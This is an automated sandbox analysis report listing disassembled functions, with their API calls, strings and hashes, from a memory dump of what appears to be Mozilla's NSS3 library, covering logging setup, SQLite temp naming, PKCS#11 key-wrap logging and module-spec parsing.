Instruction ID: a2ba538d20d98e84bdcbcfe2f298cec6feaa3362f95b94341e032e4f7635b7da
Opcode Fuzzy Hash: e963644eceecac89c9d6a1b3652e652621c3b315e3b93f551f2b52fb7ca64ac7
Instruction Fuzzy Hash: 8091F9F09046055BEF11CFA59D45BAA3BA4AF0634CF080060ED5597B42E731DD57CBBA

Function 6C631D90 Relevance: 45.7, APIs: 16, Strings: 10, Instructions: 182filestringCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3 ref: 6C631DA3

Part of subcall function 6C7098D0: calloc.MOZGLUE(00000001,00000084,6C630936,00000001,?,6C63102C), ref: 6C7098E5

PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES), ref: 6C631DB2

Part of subcall function 6C631240: TlsGetValue.KERNEL32(00000040,?,6C63116C,NSPR_LOG_MODULES), ref: 6C631267
Part of subcall function 6C631240: EnterCriticalSection.KERNEL32(?,?,?,6C63116C,NSPR_LOG_MODULES), ref: 6C63127C
Part of subcall function 6C631240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C63116C,NSPR_LOG_MODULES), ref: 6C631291
Part of subcall function 6C631240: PR_Unlock.NSS3(?,?,?,?,6C63116C,NSPR_LOG_MODULES), ref: 6C6312A0

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C631DD8
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sync), ref: 6C631E4F
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,bufsize), ref: 6C631EA4
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,timestamp), ref: 6C631ECD
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,append), ref: 6C631EEF
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,all), ref: 6C631F17
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C631F34
PR_SetLogBuffering.NSS3(00004000), ref: 6C631F61
PR_GetEnvSecure.NSS3(NSPR_LOG_FILE), ref: 6C631F6E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C631F83
PR_SetLogFile.NSS3(00000000), ref: 6C631FA2
PR_smprintf.NSS3(Unable to create nspr log file '%s',00000000), ref: 6C631FB8
OutputDebugStringA.KERNEL32(00000000), ref: 6C631FCB
free.MOZGLUE(00000000), ref: 6C631FD2

Strings

NSPR_LOG_MODULES, xrefs: 6C631DAD
, %n, xrefs: 6C631E6B
append, xrefs: 6C631EE6
timestamp, xrefs: 6C631EC4
all, xrefs: 6C631F0E
Unable to create nspr log file '%s', xrefs: 6C631FB3
NSPR_LOG_FILE, xrefs: 6C631F69
%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n, xrefs: 6C631E27
sync, xrefs: 6C631E46
bufsize, xrefs: 6C631E9B

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: _stricmp$Secure$BufferingCriticalDebugEnterFileLockOutputR_smprintfSectionStringUnlockValue__acrt_iob_funccallocfreegetenvstrlen
String ID: , %n$%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n$NSPR_LOG_FILE$NSPR_LOG_MODULES$Unable to create nspr log file '%s'$all$append$bufsize$sync$timestamp
API String ID: 2013311973-4000297177
Opcode ID: 26f8484cc7c932a70a444ec099e346b7eca58da3f7aeeed7c493e74b9a8688a8
Instruction ID: 1cefa6d82ad0b2ba83f1645f380641e41585320602cc2bd5746d50019243bda9
Opcode Fuzzy Hash: 26f8484cc7c932a70a444ec099e346b7eca58da3f7aeeed7c493e74b9a8688a8
Instruction Fuzzy Hash: 8951C1B1E002699BDF00DBE4DD48B9E7BB8AF05309F082528E81ADB640E775D519CB99

Function 6C716E50 Relevance: 44.0, APIs: 19, Strings: 6, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5CCA30: EnterCriticalSection.KERNEL32(?,?,?,6C62F9C9,?,6C62F4DA,6C62F9C9,?,?,6C5F369A), ref: 6C5CCA7A
Part of subcall function 6C5CCA30: LeaveCriticalSection.KERNEL32(?), ref: 6C5CCB26

memset.VCRUNTIME140(00000000,00000000,?,?,6C5DBE66), ref: 6C716E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6C5DBE66), ref: 6C716E98
sqlite3_snprintf.NSS3(?,00000000,6C77AAF9,?,?,?,?,?,?,6C5DBE66), ref: 6C716EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6C5DBE66), ref: 6C716ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6C5DBE66), ref: 6C716EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6C5DBE66), ref: 6C716F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6C5DBE66), ref: 6C716F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6C5DBE66), ref: 6C716F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6C5DBE66), ref: 6C716FA6
sqlite3_snprintf.NSS3(?,00000000,6C77AAF9,00000000,?,?,?,?,?,?,?,6C5DBE66), ref: 6C716FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6C5DBE66), ref: 6C716FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C5DBE66), ref: 6C716FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C5DBE66), ref: 6C717014
sqlite3_free.NSS3(00000000,?,?,?,?,6C5DBE66), ref: 6C71701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6C5DBE66), ref: 6C717030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6C5DBE66), ref: 6C71705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6C5DBE66), ref: 6C717079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C5DBE66), ref: 6C717097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6C5DBE66), ref: 6C7170A0

Strings

winGetTempname4, xrefs: 6C717046
winGetTempname2, xrefs: 6C7170C4
winGetTempname5, xrefs: 6C717071
Pul, xrefs: 6C7170A8
mz_etilqs_, xrefs: 6C716F18
winGetTempname1, xrefs: 6C71708F

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: Pul$mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-779637076
Opcode ID: accfd20f053de519ffa379ea78fe5fded9e7487abce5f14655d5688df4cb1fa2
Instruction ID: dc6b6cfaa8a525ad9a2696447921d938ada7dcb10f354c0fe54cc2fc81d0e597
Opcode Fuzzy Hash: accfd20f053de519ffa379ea78fe5fded9e7487abce5f14655d5688df4cb1fa2
Instruction Fuzzy Hash: 235149B1B082119BE70056709D59FBB366ADBD2318F18463CE90596FC1FF25AA1E82D3

Function 6C678E50 Relevance: 42.2, APIs: 14, Strings: 10, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6C678E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C678EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C678EB3

Part of subcall function 6C75D930: PL_strncpyz.NSS3(?,?,?), ref: 6C75D963

PR_LogPrint.NSS3(?,00000000), ref: 6C678EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C678EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6C678F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C678F29
PR_LogPrint.NSS3(?,00000000), ref: 6C678F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C678F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C678F80
PR_LogPrint.NSS3(?,00000000), ref: 6C678F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6C678FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6C678FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6C679047

Strings

hSession = 0x%x, xrefs: 6C678E8E, 6C678E9E
*pulWrappedKeyLen = 0x%x, xrefs: 6C679042
hKey = 0x%x, xrefs: 6C678F5B, 6C678F6B
pMechanism = 0x%p, xrefs: 6C678EE0
nul, xrefs: 6C678FEC, 6C679023
pWrappedKey = 0x%p, xrefs: 6C678FAD
hWrappingKey = 0x%x, xrefs: 6C678F01, 6C678F11
pulWrappedKeyLen = 0x%p, xrefs: 6C678FC8
C_WrapKey, xrefs: 6C678E71
(CK_INVALID_HANDLE), xrefs: 6C678EAC, 6C678F1F, 6C678F79

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey$nul
API String ID: 1003633598-2152361370
Opcode ID: 32a7a9f77c5757c649882781a466ff2c4f378093d9c2523d18471e60649f7d8c
Instruction ID: 1e128cbd04f6459c871568b1d3267eeccd779ac0539224e67d1b4944250f3a15
Opcode Fuzzy Hash: 32a7a9f77c5757c649882781a466ff2c4f378093d9c2523d18471e60649f7d8c
Instruction Fuzzy Hash: 7951C171601104ABDB109F51EE4CF9F3BB2AB4734DF444425F9087BA22DB349D59CBAA

Function 6C6A4FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6575C2,00000000,00000000,00000001), ref: 6C6A5009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6575C2,00000000), ref: 6C6A5049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6A505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6C6A5071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6A5089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6A50A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C6A50B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6575C2), ref: 6C6A50CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6A50D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C6A50F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6A5103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6A511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6A512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6A5145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6A5153
free.MOZGLUE(?), ref: 6C6A516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C6A517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6A5195

Strings

nss=, xrefs: 6C6A5083
parameters=, xrefs: 6C6A506B
name=, xrefs: 6C6A5057
library=, xrefs: 6C6A5043
config=, xrefs: 6C6A509B

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: 76ec525bb30dc65bdf2c81a179c4f2996fd69617ed42fff8c975475bd2ce0d37
Instruction ID: 6b3fbd3abdf98ba9b189338c2a76bb1b0772b896f34d5a1f1c1fe0dc2e52760f
Opcode Fuzzy Hash: 76ec525bb30dc65bdf2c81a179c4f2996fd69617ed42fff8c975475bd2ce0d37
Instruction Fuzzy Hash: 3351D3B1A016056BEB00DF64DD45AAF77A8AF16348F140030EC15E7B41EB25ED1ACBBA

Function 6C6A4C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6C694F51,00000000), ref: 6C6A4C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C694F51,00000000), ref: 6C6A4C5B
PR_smprintf.NSS3(6C77AAF9,?,0000002F,?,?,?,00000000,00000000,?,6C694F51,00000000), ref: 6C6A4C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6C694F51,00000000), ref: 6C6A4CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6A4CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6A4CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6A4D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C694F51,00000000), ref: 6C6A4D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C694F51,00000000), ref: 6C6A4D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6C6A4D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6C6A4DA2
free.MOZGLUE(?), ref: 6C6A4DB9
free.MOZGLUE(00000000), ref: 6C6A4DCF

Strings

every, xrefs: 6C6A4CA1
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6C6A4D9D
slotFlags, xrefs: 6C6A4D34
rust, xrefs: 6C6A4D22
rootFlags, xrefs: 6C6A4D47
any, xrefs: 6C6A4C96
0x%08lx=[%s %s], xrefs: 6C6A4D80
%s,%s, xrefs: 6C6A4C4B
ootT, xrefs: 6C6A4D1A
timeout, xrefs: 6C6A4C91

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: 71b5486d44a9deed129eb7693620c3ab445280ac9064e461a8a1b941a1556648
Instruction ID: e46ac91977d54760d46cd3f30dd4d695dd9e87c58f4d3bd1697e2666505f1e2f
Opcode Fuzzy Hash: 71b5486d44a9deed129eb7693620c3ab445280ac9064e461a8a1b941a1556648
Instruction Fuzzy Hash: 7841BEB19001456BEF126F649C44ABB3AB5AF82348F044134EC0A1B701EF75DD26C7EB

Function 6C686CD0 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C686910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C686943
Part of subcall function 6C686910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C686957
Part of subcall function 6C686910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C686972
Part of subcall function 6C686910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C686983
Part of subcall function 6C686910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C6869AA
Part of subcall function 6C686910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C6869BE
Part of subcall function 6C686910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C6869D2
Part of subcall function 6C686910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C6869DF
Part of subcall function 6C686910: NSSUTIL_ArgStrip.NSS3(?), ref: 6C686A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C686D8C
free.MOZGLUE(00000000), ref: 6C686DC5
free.MOZGLUE(?), ref: 6C686DD6
free.MOZGLUE(?), ref: 6C686DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C686E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C686E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C686E72
free.MOZGLUE(?), ref: 6C686EA7
free.MOZGLUE(?), ref: 6C686EC4
free.MOZGLUE(?), ref: 6C686ED5
free.MOZGLUE(00000000), ref: 6C686EE3
free.MOZGLUE(?), ref: 6C686EF4
free.MOZGLUE(?), ref: 6C686F08
free.MOZGLUE(00000000), ref: 6C686F35
free.MOZGLUE(?), ref: 6C686F44
free.MOZGLUE(?), ref: 6C686F5B
free.MOZGLUE(00000000), ref: 6C686F65

Part of subcall function 6C686C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C68781D,00000000,6C67BE2C,?,6C686B1D,?,?,?,?,00000000,00000000,6C68781D), ref: 6C686C40
Part of subcall function 6C686C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C68781D,?,6C67BE2C,?), ref: 6C686C58
Part of subcall function 6C686C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C68781D), ref: 6C686C6F
Part of subcall function 6C686C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C686C84
Part of subcall function 6C686C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C686C96
Part of subcall function 6C686C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C686CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C686F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C686FC5
PK11_GetInternalKeySlot.NSS3 ref: 6C686FF4

Strings

+`il, xrefs: 6C686D0D

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID: +`il
API String ID: 1304971872-4003185054
Opcode ID: 9b78e154e8a86001db495ad5d38dbf441c34a3be0b3393d40521d1903dc0b324
Instruction ID: 78fc50b1a31d891a66b2987e992a81fea0e48bbea3a589bd29cba980428a8a96
Opcode Fuzzy Hash: 9b78e154e8a86001db495ad5d38dbf441c34a3be0b3393d40521d1903dc0b324
Instruction Fuzzy Hash: E3B160B0E162099FDF00CFA5D849B9EBBB5BF09349F140024E815E7A40E735E916CBB9

Function 6C631FE0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 254COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000084,00000001,00000000), ref: 6C632007
calloc.MOZGLUE(00000001,00000084), ref: 6C632077
calloc.MOZGLUE(00000001,0000002C), ref: 6C6320DF
TlsSetValue.KERNEL32(00000000), ref: 6C632188
PR_NewCondVar.NSS3 ref: 6C6321B7
calloc.MOZGLUE(00000001,00000084), ref: 6C63221C
InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C6322C2
GetLastError.KERNEL32 ref: 6C6322CD
free.MOZGLUE(00000000), ref: 6C6322DD

Part of subcall function 6C630F00: PR_GetPageSize.NSS3(6C630936,FFFFE8AE,?,6C5C16B7,00000000,?,6C630936,00000000,?,6C5C204A), ref: 6C630F1B
Part of subcall function 6C630F00: PR_NewLogModule.NSS3(clock,6C630936,FFFFE8AE,?,6C5C16B7,00000000,?,6C630936,00000000,?,6C5C204A), ref: 6C630F25

Strings

X zl, xrefs: 6C63218E
T zl, xrefs: 6C632361

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: calloc$CondCountCriticalErrorInitializeLastModulePageSectionSizeSpinValuefree
String ID: T zl$X zl
API String ID: 3559583721-2492363424
Opcode ID: fe2fcabd55a70e27a9c1d48e9ecec1e3d6623ff42b61c0f3d11a32c4031e430e
Instruction ID: a4b445fd82af2314425a9fa2218630620fa5aff075dcf197d715be08bcc0eb92
Opcode Fuzzy Hash: fe2fcabd55a70e27a9c1d48e9ecec1e3d6623ff42b61c0f3d11a32c4031e430e
Instruction Fuzzy Hash: 859189B06017118FEB209F79DC0879B7BF4BB06705F10553AE55ED6A41DB709009CB99

Function 6C64DDD0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 169memorystringtimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C64DDDE

Part of subcall function 6C6A0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6487ED,00000800,6C63EF74,00000000), ref: 6C6A1000
Part of subcall function 6C6A0FF0: PR_NewLock.NSS3(?,00000800,6C63EF74,00000000), ref: 6C6A1016
Part of subcall function 6C6A0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6487ED,00000008,?,00000800,6C63EF74,00000000), ref: 6C6A102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6C64DDF5

Part of subcall function 6C6A10C0: TlsGetValue.KERNEL32(?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A10F3
Part of subcall function 6C6A10C0: EnterCriticalSection.KERNEL32(?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A110C
Part of subcall function 6C6A10C0: PL_ArenaAllocate.NSS3(?,?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A1141
Part of subcall function 6C6A10C0: PR_Unlock.NSS3(?,?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A1182
Part of subcall function 6C6A10C0: TlsGetValue.KERNEL32(?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C64DE34
PR_Now.NSS3 ref: 6C64DE93
CERT_CheckCertValidTimes.NSS3(?,00000000,?,00000000), ref: 6C64DE9D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C64DEB4
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C64DEC3
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C64DED8
PR_smprintf.NSS3(%s%s,?,?), ref: 6C64DEF0
PR_smprintf.NSS3(6C77AAF9,(NULL) (Validity Unknown)), ref: 6C64DF04
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C64DF13
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C64DF22
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6C64DF33
free.MOZGLUE(00000000), ref: 6C64DF3C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C64DF4B
free.MOZGLUE(00000000), ref: 6C64DF74
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C64DF8E

Strings

(NULL) (Validity Unknown), xrefs: 6C64DEFA
